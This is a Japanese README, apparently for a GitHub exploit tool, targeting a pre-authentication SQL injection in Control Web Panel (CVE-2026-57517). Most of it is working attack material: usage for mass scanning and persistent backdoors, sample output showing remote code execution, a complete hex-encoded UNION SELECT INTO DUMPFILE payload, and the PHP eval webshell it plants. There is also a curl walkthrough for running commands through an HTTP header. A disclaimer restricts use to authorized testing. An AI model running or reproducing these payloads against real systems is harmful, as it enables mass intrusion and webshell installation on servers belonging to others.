
💉 ブラインドSQLインジェクション → Control Web Panel (CWP) ≤ 0.9.8.1224 向け RCEエクスプロイト — userRes POST → INTO DUMPFILE → cwpsvc シェル
CVE-2026-57517 は、Control Web Panel (CWP) バージョン ≤ 0.9.8.1224 における、認証前の重大なブラインドSQLインジェクションです。ユーザーパネルのエンドポイントにある userRes POSTパラメータは、SQLクエリに埋め込まれる前にサニタイズされません。クエリは権限(グローバルな 権限を保持)で実行されるため、攻撃者は を介して任意のファイルを書き込むことができます。
FILEINTO DUMPFILE典型的な悪用チェーンでは、Webアクセス可能なRoundcubeログディレクトリにPHPウェブシェルを配置し、cwpsvc サービスアカウントとしてリモートコード実行を達成します。
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2026-57517 |
| CVSS | 9.8(Critical)— CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 種別 | CWE-89 — ブラインドSQLインジェクション(認証前) |
| 影響を受けるバージョン | Control Web Panel ≤ 0.9.8.1224 |
| 修正版 | バージョン 0.9.8.1225 |
| 公開日 | 2026年7月1日 |
| 研究者 | Egidio Romano (Karma In Security) |
| PoC | 公開 — KIS-2026-12 |
git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt
# Single target (auto-detect username)
python cve_2026_57517.py -t 192.168.1.100
# Single target with known username
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc
# Mass scan
python cve_2026_57517.py -f targets.txt -o live.txt
# Interactive shell
python cve_2026_57517.py -t target.com --rce -u cwpsvc
# Persistent backdoor (no auto-cleanup)
python cve_2026_57517.py -t target.com --no-cleanup
-t, --target Single target host
-f, --file File with targets (one per line)
-u, --username CWP username (skips auto-detection)
-o, --output Live TXT output file
--json JSON report file
--threads Concurrent workers (default: 20)
--timeout Request timeout seconds (default: 15)
--no-cleanup Leave shells on target
--rce Interactive shell mode
-v, --verbose Verbose output
$ python cve_2026_57517.py -f targets.txt -o live.txt -v
────────────────────────────────────────────────────────────
CVE-2026-57517 | 5 targets | 20 threads
Cleanup: yes
Live TXT: live.txt
────────────────────────────────────────────────────────────
✅ 192.168.10.100:2083 [rce_confirmed] 18.2s
User : admin
Shell : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
RCE : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp-prod-01.example.com
whoami: cwpsvc
⚠️ 192.168.10.200:2083 [sqli_failed] 12.1s
User : cwpsvc
Error : SQL injection failed — target may be patched or path not writable
· 192.168.10.50:2083 [not_cwp] 2.3s
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE : 2
⚠️ SQLi Fail : 1
🔍 No User : 1
· Not CWP : 1
==================================================
$ python cve_2026_57517.py -t target.com --rce -u admin
CWP Interactive Shell — target.com
Type 'exit' to quit, 'cleanup' to remove shell
cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp$ hostname
cwp-prod-01
cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash
cwp$ exit
ステップ 1 — ポート2083でCWPに到達できることを確認
curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'
ステップ 2 — ユーザー名の検証
curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = user exists
ステップ 3 — userRes を介したSQLインジェクション
このペイロードは、INTO DUMPFILE で書き込まれる16進エンコードされたPHPシェルを使った13カラムのUNION SELECTを使用します:
" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #
# The tool handles hex encoding automatically. Manual equivalent:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'
curl -sk 'https://target.com:2083/admin/' \
-d "userRes=$PAYLOAD"
ステップ 4 — ウェブシェル経由でコマンドを実行(ポート2031)
配置されたPHPシェルは、C: HTTPヘッダーからコマンドを読み取ります:
<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>
# Base64-encode: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)
curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)
| コンポーネント | 値 |
|---|---|
| SQLカラム | 13カラムのUNION SELECT |
| PHPシェル | <?php eval(base64_decode($_SERVER['HTTP_C'])); ?> |
| 16進エンコード | MySQL 0x... 16進リテラル |
| 書き込み方法 | INTO DUMPFILE(バイナリ完全一致のファイル書き込み) |
| ターゲットパス | /usr/local/cwpsrv/var/services/roundcube/logs/{uniqid}.php |
| コマンド配信 | base64エンコードされたPHPを載せたHTTPヘッダー C: |
| コマンド実行 | passthru(base64_decode('{cmd}')) |
🚨 教育および許可されたテスト目的のみ
このソフトウェアは教育目的および正当なセキュリティ研究のためにのみ提供されます。以下の用途を想定しています:
- 🛡️ 許可を得たペネトレーションテストを実施するセキュリティ専門家
- 🏢 自社のCWPインフラを監査する組織
- 🔬 脆弱性の悪用技術を研究する研究者
- 🎓 Webアプリケーションセキュリティを学ぶ学生
❌ 以下の目的でこのソフトウェアを使用してはなりません:
- 明示的な書面による許可なしにコンピュータシステムへアクセスすること
- 所有していないシステムを侵害、損傷、または妨害すること
- いかなる種類の違法行為を行うこと
⚖️ 法的通知
コンピュータシステムへの不正アクセスは、以下の法律に違反します(これらに限定されません):
- 米国: Computer Fraud and Abuse Act(18 U.S.C. § 1030)
- インドネシア: UU ITE 第30条および第46条(2008年法律第11号、2024年法律第1号による改正)
- 欧州連合: 指令 2013/40/EU
- 英国: Computer Misuse Act 1990(1990年コンピュータ濫用法)
著者は、本ツールの使用に起因する誤用、損害、または法的結果について一切の責任を負いません。本ソフトウェアを使用することにより、お客様はご自身の行動に対して単独で責任を負うことを認識し、適用されるすべての法律を遵守することに同意したものとみなされます。
| リソース | リンク |
|---|---|
| Karma In Security アドバイザリ | KIS-2026-12 |
| オリジナルPoC | CVE-2026-57517.php |
| フルディスクロージャー | SecLists |
| OpenCVE | CVE-2026-57517 |
| CWP チェンジログ | control-webpanel.com |
⚡ セキュリティ研究と教育のために作られました ⚡
このプロジェクトは、Control Web Panel および Apache Software Foundation とは提携関係にありません。